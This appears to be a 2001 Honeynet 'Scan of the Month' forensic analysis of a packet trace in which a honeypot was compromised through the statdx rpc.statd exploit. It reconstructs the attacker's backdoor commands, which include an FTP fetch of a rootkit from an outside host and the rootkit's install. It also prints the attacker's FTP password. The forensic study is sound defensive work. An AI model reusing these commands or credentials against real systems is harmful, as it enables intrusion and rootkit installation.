Scan of the month September 2001 / scan18 Thomas Roessler Verifying the tar ball We check that the packet trace was downloaded correctly: $ md5sum snort-0315@0005.log.tar.gz 9b68e8ffade74bbf5ce0296a1977d111 snort-0315@0005.log.tar.gz The md5 checksum matches the one given on the project's web pages. QUICK ANALYSIS: TCP STREAMS (bonus question) Since we want to focus on the packets observed by the honeypot, we first create a packet trace which only contains packets involving 172.16.1.108: $ tcpdump -r snort-0315@0005.log -w snort-honeypot \ host 172.16.1.108 As a very first step, we take a look at what TCP streams we can extract from the packet trace using tcpflow : $ mkdir flows; cd flows $ tcpflow -r ../snort-honeypot The data gathered are included as flows.tgz. Looking over the various flows, we in particular find the following: - various ident (RFC 931 / RFC 1413) sessions - An FTP control connection to 193.231.236.041. (flows/172.016.001.108.01026-193.231.236.041.00021; flows/193.231.236.041.00021-172.016.001.108.01026) - A successful SMTP session which contains infoprmation about the honeypot. This can be identified as the e-mail sent by the install.sh script recovered in the May challenge. (flows/172.016.001.108.01028-216.136.129.014.00025; flows/216.136.129.014.00025-172.016.001.108.01028) - Another, unsuccessful SMTP session. - A connection between the honeypot and 211.185.125.124. We find the output of programs run on the honeypot by the attacker, and the commands the attacker typed. In particular, we find FTP client output which matches the FTP control connection we recovered above. (flows/172.016.001.108.39168-211.185.125.124.04450; flows/216.136.129.014.00025-172.016.001.108.01028) - A trace of an FTP data connection from 193.231.236.041 to the honeypot. We can identify this as the rootkit recovered in the May challenge by just comparing files. Note that this data connection's parameters match the PORT command from the FTP control connection recovered above, and from the FTP client output. (flows/193.231.236.041.00020-172.016.001.108.01027) - A whois session. Note that we have, so far, only isolated the contents of the various TCP streams. For FTP and SMTP, we can easily reconstruct the entire protocol sessions. However, in order to understand the attacker's control connection, we have to look at packets' timing. A more readable trace of the attacker's control connection which was generated with the ethereal network analyzer's "Follow TCP stream" option (and some hand editing) can be found in the file keystrokes (for ethereal's original output as seen on the screen, see the screenshot in keystrokes.png). The attacker's activities using his backdoor connection, according to this trace: * find out about the system he's on, and about his own credentials * ftp to ftp.home.ro, login as user soane, and fetch lk.tgz * unpack lk.tgz * start the install command included with the tar ball. FIRST CONCLUSIONS ABOUT THE ATTACKER (questions 2-4) The attacker operated from 211.185.125.124. Whois tells us this about the attacking host: $ whois -h whois.apnic.net 211.185.125.124 [...] inetnum: 211.172.0.0 - 211.199.255.255 netname: KRNIC-KR descr: KRNIC descr: Korea Network Information Center country: KR admin-c: HM127-AP tech-c: HM127-AP remarks: ****************************************** remarks: KRNIC is the National Internet Registry remarks: in Korea under APNIC. If you would like to remarks: find assignment information in detail remarks: please refer to the KRNIC Whois DB remarks: http://whois.nic.or.kr/english/index.html remarks: ****************************************** [...] Using the web interface, we find the following additional information: IP Address : 211.185.125.0-211.185.125.127 Network Name : KSPURIM-E Connect ISP Name : PUBNET Connect Date : 20001120 Registration Date : 20001129 [ Organization Information ] Orgnization ID : ORG147082 Org Name : Kyongsan Purim Elementary School State : KYONGBUK Address : 171 puki-1ry jinrang-eup kyongsan-ci Zip Code : 712-830 [...] The attacker logged in to ftp.home.ro as user soane, with password i2ttgcj1d, in order to download his root kit - quite possibly, this was a legitimate login. The root kit's messages are, to the best of my knowledge, in Romanian. We can thus conclude that the attacker was most likely Romanian, operated from Romania, and was using a machine in Korea to relay his activities, and disguise his origin. UNDERSTANDING DETAILS OF THE ATTACK (question 1) We now try to establish a time line of the attack, and work out what happened in detail. In order to do so, we examine the packet trace with ethereal, tcpdump, and Wietse Venema's tcpdumpx (whatever is more appropriate for our purposes). Time stamps are in GMT. We first look for port 111 packets involving the honeypot: $ TZ=GMT tcpdump -vvv -r snort-0315@0005.log port 111 and host 172.16.1.108 09:33:29.053298 203.111.78.182.2662 > 172.16.1.108.sunrpc: S 1643863583:1643863583(0) win 32120 (DF) (ttl 45, id 38712) We do not know whether or not this packet was connected to the attack - no connection was successfully established. This may have been an independent scan. 01:21:23.874409 211.185.125.124.3500 > 172.16.1.108.sunrpc: S 2606971076:2606971076(0) win 32120 (DF) (ttl 43, id 28761) 01:21:23.881889 172.16.1.108.sunrpc > 211.185.125.124.3500: S 1478536655:1478536655(0) ack 2606971077 win 32120 (DF) (ttl 63, id 72) 01:21:24.107053 211.185.125.124.3500 > 172.16.1.108.sunrpc: . ack 1 win 32120 (DF) (ttl 43, id 29726) A TCP connection to port 111 is successfully opened. We note that no information is ever transmitted over this connection. We conclude that this connection is part of a port scan. We further note that the IP address from which this TCP connection was opened is the one we identified above as the attacker's relay system. While we are looking at tcpdump output, we can use the table at to try to identify the remote system. The fingerprint matches a Linux 2.2 system; in particular, note the window size. 01:21:24.995382 211.185.125.124.790 > 172.16.1.108.sunrpc: udp 56 (ttl 43, id 29784) 01:21:25.042649 172.16.1.108.sunrpc > 211.185.125.124.790: udp 28 (ttl 63, id 73) Using ethereal, we can identify this UDP-based conversation as a RPC GETPORT query for the STAT program, and the response. (See frames 114 and 115 in the included file ethereal.out.) 01:45:18.466008 211.185.125.124.3500 > 172.16.1.108.sunrpc: F 1:1(0) ack 1 win 32120 (DF) (ttl 43, id 40122) 01:45:18.467298 172.16.1.108.sunrpc > 211.185.125.124.3500: . ack 2 win 32120 (DF) (ttl 63, id 415) 01:45:18.467653 172.16.1.108.sunrpc > 211.185.125.124.3500: F 1:1(0) ack 2 win 32120 (DF) (ttl 63, id 416) 01:45:21.457298 211.185.125.124.3500 > 172.16.1.108.sunrpc: F 1:1(0) ack 1 win 32120 (DF) (ttl 43, id 44660) 01:45:21.460007 172.16.1.108.sunrpc > 211.185.125.124.3500: F 1:1(0) ack 2 win 32120 (DF) (ttl 63, id 418) 01:45:21.704181 211.185.125.124.3500 > 172.16.1.108.sunrpc: . ack 2 win 32120 (DF) (ttl 43, id 44826) What we observe here is the takedown of the TCP connection initiated at 01:21:23. As a next step, we investigate the conversation with the honeypot's rpc.statd, which listens on port 931: $ TZ=GMT tcpdump -vvv -r snort-0315@0005.log port 931 and host 172.16.1.108 01:21:25.326967 211.185.125.124.791 > 172.16.1.108.931: udp 1076 (ttl 43, id 29787) 01:21:27.324233 211.185.125.124.791 > 172.16.1.108.931: udp 1076 (ttl 43, id 30705) 01:21:29.303241 211.185.125.124.791 > 172.16.1.108.931: udp 1076 (ttl 43, id 30708) Ethereal analysis of these packets is in frames 117, 124, and 125 in ethereal.out. These packets contain a format string exploit. The format string used, and the actual shell code, was most likely generated by the program code posted by ron1n to the bugtraq mailing list on 5 Aug 2000. (That is, we are seeing statdx, NOT statdx2!) This shellcode will listen on port 39168/tcp of the victim computer, and start an instance of /bin/sh when someone connects. Before we look at the attacker's further activities on the honeypot, we'd like to know what else he did on the honeynet: $ TZ=GMZ tcpdump -vvv -r snort-0315@0005.log host 211.185.125.124 \ and not host 172.16.1.108 01:21:23.840485 211.185.125.124.3493 > 172.16.1.101.sunrpc: S 2609517180:2609517180(0) win 32120 (DF) (ttl 43, id 28754) 01:21:23.857472 211.185.125.124.3495 > 172.16.1.103.sunrpc: S 2607494080:2607494080(0) win 32120 (DF) (ttl 43, id 28756) 01:21:23.863680 172.16.1.103.sunrpc > 211.185.125.124.3495: S 3825801021:3825801021(0) ack 2607494081 win 10136 (DF) (ttl 254, id 24109) 172.16.1.103 sends SYN ACK. Passive fingerprinting indicates Solaris 2.x for this system. (TTL, DF) 01:21:23.863730 211.185.125.124.3494 > 172.16.1.102.sunrpc: S 2607455235:2607455235(0) win 32120 (DF) (ttl 43, id 28755) 01:21:23.873607 211.185.125.124.3499 > 172.16.1.107.sunrpc: S 2607178891:2607178891(0) win 32120 (DF) (ttl 43, id 28760) 01:21:23.893589 211.185.125.124.3497 > 172.16.1.105.sunrpc: S 2608456793:2608456793(0) win 32120 (DF) (ttl 43, id 28758) 01:21:23.912707 211.185.125.124.3498 > 172.16.1.106.sunrpc: S 2616223538:2616223538(0) win 32120 (DF) (ttl 43, id 28759) The attacker is scanning. Note the consecutive port numbers. 01:21:24.093893 211.185.125.124.3495 > 172.16.1.103.sunrpc: . ack 1 win 32120 (DF) (ttl 43, id 29723) The three-way handshake between 211.185.125.124 and 172.16.1.103 is completed. 01:21:24.452051 211.185.125.124.789 > 172.16.1.103.sunrpc: udp 56 (ttl 43, id 29733) 01:21:24.455402 172.16.1.103.sunrpc > 211.185.125.124.789: udp 28 (DF) (ttl 254, id 24110) GETPORT query (observed with ethereal). 01:21:24.730436 211.185.125.124.790 > 172.16.1.103.32773: udp 1076 (ttl 43, id 29781) The attacker sends the exploit (note: the attacker sends a linux/x86 exploit to a Solaris machine; can be checked with ethereal). 01:21:24.735452 172.16.1.103.32773 > 211.185.125.124.790: udp 32 (DF) (ttl 254, id 24111) 172.16.1.103 sends a reply to the STAT query. The exploit was not successful. 01:21:24.960063 211.185.125.124.3495 > 172.16.1.103.sunrpc: F 1:1(0) ack 1 win 32120 (DF) (ttl 43, id 29783) 01:21:24.961659 172.16.1.103.sunrpc > 211.185.125.124.3495: . ack 2 win 10136 (DF) (ttl 254, id 24112) 01:21:24.962270 172.16.1.103.sunrpc > 211.185.125.124.3495: F 1:1(0) ack 2 win 10136 (DF) (ttl 254, id 24113) 01:21:25.217532 211.185.125.124.3495 > 172.16.1.103.sunrpc: . ack 2 win 32120 (DF) (ttl 43, id 29786) 01:21:26.854705 211.185.125.124.3493 > 172.16.1.101.sunrpc: S 2609517180:2609517180(0) win 32120 (DF) (ttl 43, id 29807) 01:21:26.855656 211.185.125.124.3494 > 172.16.1.102.sunrpc: S 2607455235:2607455235(0) win 32120 (DF) (ttl 43, id 29808) 01:21:26.863772 211.185.125.124.3499 > 172.16.1.107.sunrpc: S 2607178891:2607178891(0) win 32120 (DF) (ttl 43, id 29812) 01:21:26.868126 211.185.125.124.3496 > 172.16.1.104.sunrpc: S 2617437617:2617437617(0) win 32120 (DF) (ttl 43, id 29809) [more SYN packets deleted] Let's summarize the time line as far as we know it at this point: 01:21:23.857472 .103 TCP SYN packet to .103:sunrpc 01:21:23.874409 .108 TCP SYN packet to honeypot:sunrpc 01:21:24.093893 .103 TCP handshake completed with .103 01:21:24.107053 .108 TCP handshake completed with honeypot 01:21:24.452051 .103 GETPORT query to .103 01:21:24.455402 .103 GETPORT response from .103 01:21:24.730436 .103 exploit to .103 01:21:24.735452 .103 RPC response from .103 01:21:24.995382 .108 GETPORT query to honeypot 01:21:25.042649 .108 GETPORT response from honeypot 01:21:25.326967 .108 exploit to honeypot 01:21:27.324233 .108 exploit to honeypot 01:21:29.303241 .108 exploit to honeypot Note that the attacker continues to send SYN packets to other IP addresses in the honeynet. We can conclude that the attack tool used by the attacker was NOT vanilla statdx as posted to bugtraq, but a modified version which is able to scan a network using asynchronuous I/O, immediately launching an attack against hosts which are found to be possibly vulnerable. We return to the attacker's activities involving the honeypot. $ TZ=GMT tcpdump -vvv -r snort-0315@0005.log host 211.185.125.124 \ and host 172.16.1.108 and not port sunrpc and not port 931 01:21:36.312515 211.185.125.124.4450 > 172.16.1.108.39168: S 2624400382:2624400382(0) win 32120 (DF) (ttl 43, id 31657) 01:21:36.313896 172.16.1.108.39168 > 211.185.125.124.4450: S 1499489074:1499489074(0) ack 2624400383 win 32120 (DF) (ttl 63, id 75) 01:21:36.538332 211.185.125.124.4450 > 172.16.1.108.39168: . ack 1 win 32120 (DF) (ttl 43, id 31659) 01:21:36.539731 211.185.125.124.4450 > 172.16.1.108.39168: P 1:20(19) ack 1 win 32120 (DF) (ttl 43, id 31660) 01:21:36.540995 172.16.1.108.39168 > 211.185.125.124.4450: . ack 20 win 32120 (DF) (ttl 63, id 76) 01:24:27.288446 211.185.125.124.4450 > 172.16.1.108.39168: P 20:21(1) ack 1 win 32120 (DF) (ttl 43, id 34661) 01:24:27.307094 172.16.1.108.39168 > 211.185.125.124.4450: . ack 21 win 32120 (DF) (ttl 63, id 77) 01:24:27.316025 172.16.1.108.39168 > 211.185.125.124.4450: P 1:68(67) ack 21 win 32120 (DF) (ttl 63, id 78) 01:24:27.550777 211.185.125.124.4450 > 172.16.1.108.39168: . ack 68 win 32120 (DF) (ttl 43, id 34664) 01:24:27.552084 172.16.1.108.39168 > 211.185.125.124.4450: P 68:92(24) ack 21 win 32120 (DF) (ttl 63, id 79) 01:24:27.817717 211.185.125.124.4450 > 172.16.1.108.39168: . ack 92 win 32120 (DF) (ttl 43, id 34666) 01:36:04.432505 211.185.125.124.4450 > 172.16.1.108.39168: P 21:40(19) ack 92 win 32120 (DF) (ttl 43, id 25564) [...] We observe that the attacker makes a single connection from port 4450 on his system to port 39168 on the honeypot (that is, the attacker uses the backdoor created by the statdx exploit). We have captured and analyzed the content of this connection before. Additionally, we note that statdx always sends a fixed first command string when connecting to the backdoor it has created: cd /; ls -alF; id;\n The transcript of the attacker's command connection begins with this command: cd /; uname -a; id; This command is one character longer than the one in statdx, and the trailing newline is missing in the exploit used by the attacker. Looking at the source code of statdx, we see that statdx sends the first command with an explicit send(2) call. The behaviour we observe would be consistent with an attacker changing the command string, but forgetting to adjust the length parameter. This observation further supports the hypothesis that the attacker is not using vanilla statdx, but code directly derived from it. Finally, we have to ask whether the attacker's commands were entirely scripted, or whether he was typing commands interactively. In order to find this out, we create a detailed timeline of the attacker's key strokes. We use tcpdump and tcpdumpx for this: $ TZ=GMT tcpdump -x -vvv -r snort-0315@0005.log \ host 211.185.125.124 and host 172.16.1.108 \ and tcp port 39168 and tcp port 4450 \ | tcpdumpx | egrep -A1 '^([0-9]| *DATA)' \ | egrep -v '^(--|$)' > keystrokes.tcpdumpx We look at keystrokes.tcpdumpx: 01:21:36.312515 211.185.125.124.4450 > 172.16.1.108.39168: S 2624400382:2624400382(0) win 32120 (DF) (ttl 43, id 31657) 01:21:36.313896 172.16.1.108.39168 > 211.185.125.124.4450: S 1499489074:1499489074(0) ack 2624400383 win 32120 (DF) (ttl 63, id 75) 01:21:36.538332 211.185.125.124.4450 > 172.16.1.108.39168: . ack 1 win 32120 (DF) (ttl 43, id 31659) The three-way handshake is completed. 01:21:36.539731 211.185.125.124.4450 > 172.16.1.108.39168: P 1:20(19) ack 1 win 32120 (DF) (ttl 43, id 31660) DATA 63 64 20 2f 3b 20 75 6e 61 6d c d / ; u n a m DATA 65 20 2d 61 3b 20 69 64 3b e - a ; i d ; The first command is sent immediately after the handshake was completed. This is the behaviour we expect from code derived from statdx, as described above. 01:21:36.540995 172.16.1.108.39168 > 211.185.125.124.4450: . ack 20 win 32120 (DF) (ttl 63, id 76) 01:24:27.288446 211.185.125.124.4450 > 172.16.1.108.39168: P 20:21(1) ack 1 win 32120 (DF) (ttl 43, id 34661) DATA 0a ^J The line feed to terminate the first line is sent almost 3 minutes later. We suppose that it was typed interactively by the attacker. After the results of these commands have been sent, we see the next packets almost 12 minutes later: 01:24:27.817717 211.185.125.124.4450 > 172.16.1.108.39168: . ack 92 win 32120 (DF) (ttl 43, id 34666) 01:36:04.432505 211.185.125.124.4450 > 172.16.1.108.39168: P 21:40(19) ack 92 win 32120 (DF) (ttl 43, id 25564) DATA 66 74 70 20 2d 76 20 66 74 70 f t p - v f t p DATA 2e 68 6f 6d 65 2e 72 6f 0a . h o m e . r o ^J 01:36:04.445658 172.16.1.108.39168 > 211.185.125.124.4450: . ack 40 win 32120 (DF) (ttl 63, id 80) We omit the following packets - the details of the attacker's activities can be derived from the control connection's transcript far easier. After the FTP transfer has been completed, it takes 8 minutes until the next command is entered: 01:36:57.169576 172.16.1.108.39168 > 211.185.125.124.4450: P 724:747(23) ack 67 win 32120 (DF) (ttl 63, id 391) DATA 32 32 36 20 54 72 61 6e 73 66 2 2 6 T r a n s f DATA 65 72 20 63 6f 6d 70 6c 65 74 e r c o m p l e t DATA 65 2e 0a e . ^J 01:36:57.418223 211.185.125.124.4450 > 172.16.1.108.39168: . ack 747 win 32120 (DF) (ttl 43, id 63864) 01:44:51.590951 211.185.125.124.4450 > 172.16.1.108.39168: P 67:71(4) ack 747 win 32120 (DF) (ttl 43, id 25404) DATA 62 79 65 0a b y e ^J In what follows, there are always just a few seconds between output from the honeypot and the attacker entering the next command. The timing behaviour we observe is consistent with the attacker typing commands interactively, or using cut & paste. Browsing through the remaining network activities involving the honeypot with Ethereal, we find the ident and SMTP connections we talked about above, and we see how the attacker closes his control connection at 01:47. LESSONS LEARNT (question 5) - Attackers use others' computers to disguise their activities. Don't expect that attacks are coming from legitimate users of the attacking computers. (OK, that's not really news, but it could be learned from this analysis.) - Attackers automatically scan and attack systems, in bulk, without paying attention to using exploits which are actually suitable for the system they scan. - tcpflow exists and is a really nice tool. ;-) - Ethereal is nice for interactive work, and for understanding things, but a far less efficient tool for writing reports. (May be better with more recent versions.) The things I did using tcpdump, tcpdumpx and tcpflow should, ideally, be possible with a single interactive program. (That is, this challenge was a nice opportunity to exercise the tools needed for packet capture analysis.) TIME SPENT (question 6) ca. 5 hours total. This includes the time to write down this analysis, and the online time spent on searching for a tool like tcpflow.